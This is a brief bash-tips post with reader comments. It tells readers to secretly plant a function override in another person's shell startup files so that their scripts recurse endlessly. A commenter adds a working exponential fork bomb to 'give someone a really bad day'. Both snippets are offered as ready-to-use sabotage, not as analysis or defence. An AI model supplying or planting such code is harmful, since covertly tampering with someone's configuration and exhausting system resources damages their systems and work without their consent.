evil bash
if you really want to mess with someone's shell scripts, hide this somewhere in one of their bash startup files...
:(){ :; }; export -f ":"Assuming they use the : noop anywhere. Explanation: define and export a function that overrides the : noop...the function recurses infinitely.
Written by Nick Jacob
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Probably it can be done in any shell not only bash. So probably good titile will be Fork Bomb
over 1 year ago
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Easily killed with a Ctrl-C. You want something exponential:
_(){ _& _& };_
If you want to give someone a really bad day.
over 1 year ago
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